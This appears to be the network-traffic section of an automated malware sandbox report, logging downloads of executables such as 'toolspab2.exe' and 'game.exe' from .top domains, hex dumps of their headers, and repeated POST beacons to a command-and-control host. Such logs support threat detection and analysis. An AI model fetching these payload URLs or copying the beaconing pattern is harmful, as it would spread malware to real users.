Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 91.219.236.97
Source: global traffic	HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:28:42 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:28:02 GMTETag: "54000-5cf81fcc9d9bc"Accept-Ranges: bytesContent-Length: 344064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ca 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 74 02 00 04 00 00 31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 d0 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 75 66 75 6c 61 63 e5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:29:19 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:29:02 GMTETag: "92800-5cf820058192d"Accept-Ranges: bytesContent-Length: 600064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 29 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 a6 07 00 00 c4 70 02 00 00 00 00 50 ac 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 1b 9f 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 aa 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 30 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a1 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 a5 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 c0 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 74 6f 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:29:57 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Last-Modified: Fri, 29 Oct 2021 18:20:03 GMTETag: "d5e00-5cf81e037dd62"Accept-Ranges: bytesContent-Length: 876032Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a fa 17 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 dc 0b 00 00 c4 70 02 00 00 00 00 80 e0 09 00 00 10 00 00 00 f0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 7c 02 00 04 00 00 d3 b9 0d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 de 0b 00 50 00 00 00 00 70 7b 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 7b 02 30 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 d5 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 da 0b 00 00 10 00 00 00 dc 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 f0 0b 00 00 16 00 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 75 73 6f 00 00 00 e5 02 00 00 00 60 7b 02 00 04 00 00 00 f6 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 70 7b 02 00 40 00 00 00 fa 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 b0 7b 02 00 24 01 00 00 3a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 18:30:01 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c

Source: unknown

HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49826 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnhikj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bcetl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mmcpy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sligutw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://himphbmiy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://novmckj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rqwpp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ididar.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yyffq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cfbujstw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jphqlbmv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lujywddys.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hftuogn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nyuewxm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kgvsspvx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://juvrqxnox.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dobetow.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnyvqfkgv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bxkmjut.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tgcck.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kuovgrmce.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://plfxbxgdp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rqvduguyi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cyujuvo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jvdvsbpg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tattj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hfyjvhbtyy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mjoranodkb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxvrsy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ghvmfthgu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oyggwg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 213Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dvoowi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifglnhprd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oxvluliqe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cndlfysvgu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://omxgygy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 274Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://swqgaatpa.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hgeeej.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nnnix.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: hajezey1.top
